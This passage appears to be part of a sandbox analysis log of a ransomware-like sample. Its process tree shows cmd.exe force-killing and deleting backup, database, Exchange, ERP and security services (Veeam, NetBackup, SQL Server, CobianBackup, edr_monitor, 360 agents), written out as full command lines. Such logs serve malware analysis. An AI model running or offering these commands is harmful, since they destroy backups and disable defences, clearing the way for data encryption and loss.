  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.CloudService.exe
      4⤵
      PID:5624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.Manager.exe
      4⤵
      PID:1976
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.MountService.exe
      4⤵
      PID:876
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.Service.exe
      4⤵
      Kills process with taskkill
      PID:5304
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Backup.WmiServer.exe
      4⤵
      PID:5984
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Veeam.Guest.Interaction.Proxy.exe
      4⤵
      PID:5504
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM VeeamDeploymentSvc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:424
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM VeeamNFSSvc.exe
      4⤵
      Kills process with taskkill
      PID:3496
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM VeeamTransportSvc.exe
      4⤵
      PID:3560
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM sqlbrowser.exe
      4⤵
      PID:5648
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM sqlceip.exe
      4⤵
      PID:5804
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM sqlservr.exe
      4⤵
      PID:5960
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM sqlwriter.exe
      4⤵
      PID:2920
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM sqlagentc.exe
      4⤵
      PID:5488
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM ReportingServicesService.exe
      4⤵
      PID:5656
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Ssms.exe
      4⤵
      PID:6408
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM fdhost.exe
      4⤵
      PID:6756
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM fdlauncher.exe
      4⤵
      PID:6092
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MsDtsSrvr.exe
      4⤵
      PID:5784
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msmdsrv.exe
      4⤵
      PID:2964
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM mysql.exe
      4⤵
      PID:6276
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM mysqld.exe
      4⤵
      PID:5784
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM w3wp.exe
      4⤵
      PID:6344
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM wsusservice.exe
      4⤵
      PID:6952
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM SageCSClient.exe
      4⤵
      PID:6596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe
      4⤵
      PID:5724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Launchpad.exe
      4⤵
      PID:1188
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM dbsrv12.exe
      4⤵
      PID:5220
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM EXCEL.EXE
      4⤵
      PID:7160
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM OUTLOOK.EXE
      4⤵
      Kills process with taskkill
      PID:2464
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM WINWORD.EXE
      4⤵
      PID:6940
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM OneDrive.exe
      4⤵
      PID:5048
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM TaskService.exe
      4⤵
      PID:5328
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & @taskkill /IM Tomcat7w.exe /F & @taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F & @taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F & @taskkill /IM Launchpad.exe /F & @taskkill /IM mpdwsvc.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete CobianBackup11 & @sc delete cbVSCService11 & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F & taskkill /F /IM store.exe & taskkill /F /IM MSExchangeMailboxReplication.exe & taskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe & taskkill /F /IM MSExchangeThrottling.exe & taskkill /F /IM EdgeTransport.exe & taskkill /F /IM MSExchangeTransportLogSearch.exe & taskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe & taskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe & taskkill /F /IM DataCollectorSvc.exe & taskkill /F /IM Microsoft.Exchange.ServiceHost.exe & taskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe & taskkill /F /IM MSExchangeMailboxAssistants.exe & taskkill /F /IM msexchangerepl.exe & taskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe & taskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe & taskkill /F /IM MsExchangeFDS.exe & taskkill /F /IM MSExchangeMailSubmission.exe & taskkill /F /IM MSExchangeTransport.exe & taskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe"
    3⤵
    PID:3184
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Tomcat7w.exe /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:512
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F
      4⤵
      PID:4972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F
      4⤵
      PID:1940
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Launchpad.exe /F
      4⤵
      PID:5388
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM mpdwsvc.exe /F
      4⤵
      PID:3240
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cbVSCService11.exe /F
      4⤵
      PID:3948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cbService.exe /F
      4⤵
      Kills process with taskkill
      PID:5644
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CobianBackup11
      4⤵
      Launches sc.exe
      PID:5480
  - - C:\Windows\SysWOW64\sc.exe
      sc delete cbVSCService11
      4⤵
      Launches sc.exe
      PID:5636
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM mysqld-nt.exe /F
      4⤵
      PID:5384
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F
      4⤵
      Kills process with taskkill
      PID:5524
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM sqlceip.exe /F
      4⤵
      PID:444
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F
      4⤵
      Kills process with taskkill
      PID:5472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM store.exe
      4⤵
      PID:3124
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeMailboxReplication.exe
      4⤵
      PID:5568
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe
      4⤵
      PID:5496
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeThrottling.exe
      4⤵
      PID:4808
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM EdgeTransport.exe
      4⤵
      PID:4360
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeTransportLogSearch.exe
      4⤵
      PID:4228
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe
      4⤵
      Kills process with taskkill
      PID:5752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe
      4⤵
      PID:6008
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM DataCollectorSvc.exe
      4⤵
      PID:6756
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.ServiceHost.exe
      4⤵
      Kills process with taskkill
      PID:6308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe
      4⤵
      PID:7148
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeMailboxAssistants.exe
      4⤵
      PID:6816
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msexchangerepl.exe
      4⤵
      Kills process with taskkill
      PID:6436
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe
      4⤵
      PID:6324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe
      4⤵
      PID:5388
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MsExchangeFDS.exe
      4⤵
      PID:5384
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeMailSubmission.exe
      4⤵
      PID:5828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM MSExchangeTransport.exe
      4⤵
      PID:5268
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe
      4⤵
      PID:7132
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & net stop "MSOLAP$SHOPCONTROL9" & net stop "MSSQL$SHOPCONTROL9" & net stop "MSSQLFDLauncher$SHOPCONTROL9" & net stop "ReportServer$SHOPCONTROL9" & net stop "SQLAgent$SHOPCONTROL9" & net stop "NetBackup Client Service" & net stop "NetBackup Discovery Framework" & net stop "NetBackup Legacy Client Service" & net stop "NetBackup Legacy Network Service" & net stop "NetBackup Proxy Service" & net stop "NetBackup SAN Client Fibre Transport Service" & taskkill /IM mysqld-nt.exe /F & taskkill /IM NFVPrint.exe /F & taskkill /IM licenceserver.exe /F & taskkill /IM Launchpad.exe /F & taskkill /F /IM "FileZilla Server.exe" & taskkill /F /IM cbService.exe & taskkill /F /IM cbInterface.exe & taskkill /F /IM pvxwin32.exe & taskkill /F /IM pvxwin64.exe & taskkill /F /IM pvxcom.exe & taskkill /F /IM pvxiosvr.exe & taskkill /F /IM Sage.NA.AT_AU.SysTray.exe & taskkill /F /IM Sage.NA.AT_AU.Service.exe"
    3⤵
    PID:3912
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSOLAP$SHOPCONTROL9"
      4⤵
      PID:5096
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSOLAP$SHOPCONTROL9"
        5⤵
        
        PID:1404
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQL$SHOPCONTROL9"
      4⤵
      PID:5484
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQL$SHOPCONTROL9"
        5⤵
        
        PID:5452
  - - C:\Windows\SysWOW64\net.exe
      net stop "MSSQLFDLauncher$SHOPCONTROL9"
      4⤵
      PID:5400
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "MSSQLFDLauncher$SHOPCONTROL9"
        5⤵
        
        PID:5576
  - - C:\Windows\SysWOW64\net.exe
      net stop "ReportServer$SHOPCONTROL9"
      4⤵
      PID:1404
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "ReportServer$SHOPCONTROL9"
        5⤵
        
        PID:5336
  - - C:\Windows\SysWOW64\net.exe
      net stop "SQLAgent$SHOPCONTROL9"
      4⤵
      PID:4980
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "SQLAgent$SHOPCONTROL9"
        5⤵
        
        PID:5128
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup Client Service"
      4⤵
      PID:5848
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Client Service"
        5⤵
        
        PID:5312
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup Discovery Framework"
      4⤵
      PID:5624
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Discovery Framework"
        5⤵
        
        PID:4816
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup Legacy Client Service"
      4⤵
      PID:5268
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Legacy Client Service"
        5⤵
        
        PID:5240
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup Legacy Network Service"
      4⤵
      PID:2624
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup Proxy Service"
      4⤵
      PID:1216
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup Proxy Service"
        5⤵
        
        PID:3204
  - - C:\Windows\SysWOW64\net.exe
      net stop "NetBackup SAN Client Fibre Transport Service"
      4⤵
      PID:5788
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetBackup SAN Client Fibre Transport Service"
        5⤵
        
        PID:624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM mysqld-nt.exe /F
      4⤵
      Kills process with taskkill
      PID:5268
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM NFVPrint.exe /F
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM licenceserver.exe /F
      4⤵
      PID:6004
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Launchpad.exe /F
      4⤵
      PID:5292
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM "FileZilla Server.exe"
      4⤵
      PID:5648
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM cbService.exe
      4⤵
      PID:1568
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM cbInterface.exe
      4⤵
      PID:5896
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM pvxwin32.exe
      4⤵
      PID:4128
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM pvxwin64.exe
      4⤵
      PID:5264
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM pvxcom.exe
      4⤵
      PID:2192
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM pvxiosvr.exe
      4⤵
      PID:2144
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Sage.NA.AT_AU.SysTray.exe
      4⤵
      PID:2512
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Sage.NA.AT_AU.Service.exe
      4⤵
      PID:5400
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"
    3⤵
    PID:3660
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "DAService_TCP"
      4⤵
      PID:4132
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "eCard-TTransServer"
      4⤵
      PID:6140
  - - C:\Windows\SysWOW64\sc.exe
      sc delete eCardMPService
      4⤵
      PID:5460
  - - C:\Windows\SysWOW64\sc.exe
      sc delete EnergyDataService
      4⤵
      Launches sc.exe
      PID:5164
  - - C:\Windows\SysWOW64\sc.exe
      sc delete UI0Detect
      4⤵
      PID:5416
  - - C:\Windows\SysWOW64\sc.exe
      sc delete K3MobileService
      4⤵
      PID:6032
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TCPIDDAService
      4⤵
      PID:4448
  - - C:\Windows\SysWOW64\sc.exe
      sc delete WebAttendServer
      4⤵
      Launches sc.exe
      PID:1772
  - - C:\Windows\SysWOW64\sc.exe
      sc delete UIODetect
      4⤵
      Launches sc.exe
      PID:3192
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "wanxiao-monitor"
      4⤵
      PID:5692
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VMAuthdService
      4⤵
      PID:5984
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VMUSBArbService
      4⤵
      Launches sc.exe
      PID:4424
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VMwareHostd
      4⤵
      PID:5820
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "vm-agent"
      4⤵
      PID:5608
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VmAgentDaemon
      4⤵
      PID:5136
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OpenSSHd
      4⤵
      PID:2144
  - - C:\Windows\SysWOW64\sc.exe
      sc delete eSightService
      4⤵
      Launches sc.exe
      PID:6016
  - - C:\Windows\SysWOW64\sc.exe
      sc delete apachezt
      4⤵
      Launches sc.exe
      PID:6012
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Jenkins
      4⤵
      PID:5168
  - - C:\Windows\SysWOW64\sc.exe
      sc delete secbizsrv
      4⤵
      PID:6060
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLTELEMETRY
      4⤵
      PID:5824
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSMQ
      4⤵
      Launches sc.exe
      PID:1404
  - - C:\Windows\SysWOW64\sc.exe
      sc delete smtpsvrJT
      4⤵
      PID:5732
  - - C:\Windows\SysWOW64\sc.exe
      sc delete zyb_sync
      4⤵
      PID:5856
  - - C:\Windows\SysWOW64\sc.exe
      sc delete 360EntHttpServer
      4⤵
      Launches sc.exe
      Suspicious use of AdjustPrivilegeToken
      PID:3300
  - - C:\Windows\SysWOW64\sc.exe
      sc delete 360EntSvc
      4⤵
      Launches sc.exe
      PID:5636
  - - C:\Windows\SysWOW64\sc.exe
      sc delete 360EntClientSvc
      4⤵
      Launches sc.exe
      PID:5384
  - - C:\Windows\SysWOW64\sc.exe
      sc delete NFWebServer
      4⤵
      PID:5768
  - - C:\Windows\SysWOW64\sc.exe
      sc delete wampapache
      4⤵
      Launches sc.exe
      PID:5460
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSSEARCH
      4⤵
      Launches sc.exe
      PID:5588
  - - C:\Windows\SysWOW64\sc.exe
      sc delete msftesql
      4⤵
      PID:5064
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "SyncBASE Service"
      4⤵
      PID:5884
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleDBConcoleorcl
      4⤵
      PID:5872
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleJobSchedulerORCL
      4⤵
      Launches sc.exe
      PID:6092
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleMTSRecoveryService
      4⤵
      PID:5912
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""
    3⤵
    PID:3440
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MSCRMAsyncService
      4⤵
      PID:2668
  - - C:\Windows\SysWOW64\sc.exe
      sc delete REPLICA
      4⤵
      PID:5348
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCATS
      4⤵
      PID:4900
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCAVMCU
      4⤵
      PID:5128
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RtcQms
      4⤵
      PID:5432
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCMEETINGMCU
      4⤵
      PID:5688
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCIMMCU
      4⤵
      PID:3464
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCDATAMCU
      4⤵
      PID:5176
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RTCCDR
      4⤵
      Launches sc.exe
      PID:5620
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ProjectEventService16
      4⤵
      PID:4380
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ProjectQueueService16
      4⤵
      PID:3340
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SPAdminV4
      4⤵
      PID:4756
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SPSearchHostController
      4⤵
      PID:6044
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SPTimerV4
      4⤵
      PID:5428
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SPTraceV4
      4⤵
      PID:1904
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OSearch16
      4⤵
      PID:5620
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ProjectCalcService16
      4⤵
      Launches sc.exe
      PID:5436
  - - C:\Windows\SysWOW64\sc.exe
      sc delete c2wts
      4⤵
      PID:5260
  - - C:\Windows\SysWOW64\sc.exe
      sc delete AppFabricCachingService
      4⤵
      PID:5236
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ADWS
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MotionBoard57
      4⤵
      Launches sc.exe
      PID:5596
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MotionBoardRCService57
      4⤵
      Launches sc.exe
      PID:3312
  - - C:\Windows\SysWOW64\sc.exe
      sc delete vsvnjobsvc
      4⤵
      Launches sc.exe
      PID:5820
  - - C:\Windows\SysWOW64\sc.exe
      sc delete VisualSVNServer
      4⤵
      PID:5204
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "FlexNet Licensing Service 64"
      4⤵
      Launches sc.exe
      PID:6068
  - - C:\Windows\SysWOW64\sc.exe
      sc delete BestSyncSvc
      4⤵
      Launches sc.exe
      PID:5152
  - - C:\Windows\SysWOW64\sc.exe
      sc delete LPManager
      4⤵
      PID:5404
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MediatekRegistryWriter
      4⤵
      PID:5576
  - - C:\Windows\SysWOW64\sc.exe
      sc delete RaAutoInstSrv_RT2870
      4⤵
      PID:876
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CobianBackup10
      4⤵
      Launches sc.exe
      PID:3636
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLANYs_sem5
      4⤵
      PID:6000
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CASLicenceServer
      4⤵
      PID:5304
  - - C:\Windows\SysWOW64\sc.exe
      sc delete SQLService
      4⤵
      PID:1800
  - - C:\Windows\SysWOW64\sc.exe
      sc delete semwebsrv
      4⤵
      Launches sc.exe
      PID:3124
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TbossSystem
      4⤵
      PID:6020
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ErpEnvSvc
      4⤵
      Launches sc.exe
      PID:1568
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.Autoupgrade.DispatchService
      4⤵
      PID:5892
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.Autoupgrade.UpdateService
      4⤵
      Launches sc.exe
      PID:6132
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.Config.WindowsService
      4⤵
      Launches sc.exe
      PID:4472
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.DataCenterService
      4⤵
      PID:5780
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.SchedulingService
      4⤵
      PID:5156
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Mysoft.Setup.InstallService
      4⤵
      Launches sc.exe
      PID:3560
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MysoftUpdate
      4⤵
      PID:2780
  - - C:\Windows\SysWOW64\sc.exe
      sc delete edr_monitor
      4⤵
      PID:4876
  - - C:\Windows\SysWOW64\sc.exe
      sc delete abs_deployer
      4⤵
      Launches sc.exe
      PID:5200
  - - C:\Windows\SysWOW64\sc.exe
      sc delete savsvc
      4⤵
      Launches sc.exe
      PID:3116
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ShareBoxMonitorService
      4⤵
      PID:5976
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ShareBoxService
      4⤵
      PID:3444
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CloudExchangeService
      4⤵
      Launches sc.exe
      PID:5956
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "U8WorkerService2"
      4⤵
      PID:4856
  - - C:\Windows\SysWOW64\sc.exe
      sc delete CIS
      4⤵
      PID:544
  - - C:\Windows\SysWOW64\sc.exe
      sc delete EASService
      4⤵
      PID:5396
  - - C:\Windows\SysWOW64\sc.exe
      sc delete KICkSvr
      4⤵
      PID:4996
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "OSP Service"
      4⤵
      PID:5064
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8SmsSrv
      4⤵
      Launches sc.exe
      PID:4464
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OfficeClearCache
      4⤵
      Launches sc.exe
      PID:5384
  - - C:\Windows\SysWOW64\sc.exe
      sc delete TurboCRM70
      4⤵
      PID:5136
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8DispatchService
      4⤵
      PID:5328
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8EISService
      4⤵
      PID:5772
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8EncryptService
      4⤵
      PID:620
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8GCService
      4⤵
      PID:6088
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8KeyManagePool
      4⤵
      PID:1216
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "U8MPool"
      4⤵
      PID:2824
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8SCMPool
      4⤵
      PID:4700
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8SLReportService
      4⤵
      PID:3940
  - - C:\Windows\SysWOW64\sc.exe
      sc delete U8TaskService
      4⤵
      PID:6220
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "U8WebPool"
      4⤵
      Launches sc.exe
      PID:3728
  - - C:\Windows\SysWOW64\sc.exe
      sc delete UFAllNet
      4⤵
      Launches sc.exe
      PID:6604
  - - C:\Windows\SysWOW64\sc.exe
      sc delete UFReportService
      4⤵
      Launches sc.exe
      PID:4840
  - - C:\Windows\SysWOW64\sc.exe
      sc delete UTUService
      4⤵
      PID:3648
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "U8WorkerService1"
      4⤵
      Launches sc.exe
      PID:1832
